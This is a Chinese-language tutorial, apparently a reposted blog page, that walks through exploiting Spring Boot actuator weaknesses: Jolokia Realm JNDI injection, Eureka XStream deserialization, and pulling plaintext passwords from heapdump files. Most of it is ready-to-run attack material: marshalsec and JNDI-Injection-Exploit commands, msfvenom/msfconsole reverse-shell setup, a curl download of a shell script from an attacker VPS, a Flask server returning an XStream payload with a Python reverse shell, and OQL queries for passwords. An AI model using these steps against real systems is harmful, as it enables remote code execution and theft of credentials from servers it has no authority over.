Spring Boot漏洞復現


一、jolokia Realm JNDI RCE

(1).利用條件:

目標網站存在 /jolokia 或 /actuator/jolokia 接口

目標使用了 jolokia-core 依賴(版本要求暫未知)並且環境中存在相關 MBean

目標可以請求攻擊者的服務器(請求可出外網)

普通 JNDI 注入受目標 JDK 版本影響,jdk < 6u141/7u131/8u121(RMI),但相關環境可繞過

(2).攻擊步驟

訪問 /jolokia/list 接口,查看是否存在 type=MBeanFactory 和 createJNDIRealm 關鍵詞。

python3 -m http.server 8080開啟一個http服務,用來托管 class 文件

https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java

javac -source 1.5 -target 1.5 JNDIObject.java

啟動惡意 rmi 服務:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389

nc -lvp 進行監聽成功后,使用腳本發送惡意payload

https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py  注意修改腳本中的目標地址、RMI地址信息。

(二)Jolokia Realm JNDI JDK高版本情況下利用

當marshalsec 接收到了目標請求,但是目標沒有請求 JNDIObject.class,就得考慮是否是對方jdk版本過高

https://github.com/welk1n/JNDI-Injection-Exploit

msfvenom -p cmd/unix/reverse_python LHOST=1.1.1,1 LPORT=80 -f raw -o shell.py

msfconsole -q -x "use multi/handler; set payload cmd/unix/reverse_python; set lhost 1.1.1,1; set lport 80; exploit"

python -m SimpleHTTPServer 8080

啟動 JNDI-Injection-Exploit:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl -L http://vps:8080/shell.py -o /tmp/.shell.py" -A "vps"

選用Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath惡意類

修改springboot-realm-jndi-rce.py中的rmi地址:rmi://192.168.111.76:1099/efe039

http收到請求后受害機器響應,將執行的命令修改為"bash /tmp/.shell.py" 獲取到shell,同樣需要修改rmi地址

eureka xstream deserialization RCE(此方法會修改屬性警慎使用)

(1).利用條件:

可以 POST 請求目標網站的 /env 接口設置屬性

可以 POST 請求目標網站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依賴)

目標使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依賴中)

目標可以請求攻擊者的 HTTP 服務器(請求可出外網)

(2).攻擊步驟

http://192.168.237.212:8090/env 查看是否存在組件com.netflix查看目標是否使用Spring Cloud Netflix

架設響應惡意 XStream payload 的網站,修改ip和端口地址nc-lvp進行監聽

#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

from flask import Flask, Response

app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                       <string>/bin/bash</string>
                       <string>-c</string>
                       <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

 

設置 eureka.client.serviceUrl.defaultZone 屬性,訪問env

eureka.client.serviceUrl.defaultZone=http://192.168.237.131/example

訪問訪問http://192.168.237.212:8090/refresh刷新配置

 

 三、heapdump獲取明文信息

當下載/heapdump是403的時候, /heapdump.json可以下載成功

 Eclipse Memory Analyzer :https://www.eclipse.org/mat/downloads.php

打開工具file->open heap dump選擇下載下來的文件,點擊 OQL 標簽,在查詢框中輸入,選擇紅色感嘆號執行SQL語句

(1)spring boot 1.x 版本 heapdump 查詢結果,最終結果存儲在 java.util.Hashtable$Entry 實例的鍵值

  select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

(2)spring boot 2.x 版本 heapdump 查詢結果,最終結果存儲在 java.util.LinkedHashMap$Entry 實例的鍵值對中,本文測試的是springboot 2.x版本,配合env信息進行搜索

  select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

 

參考文章:

https://github.com/LandGrey/SpringBootVulExploit

https://landgrey.me/blog/16/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM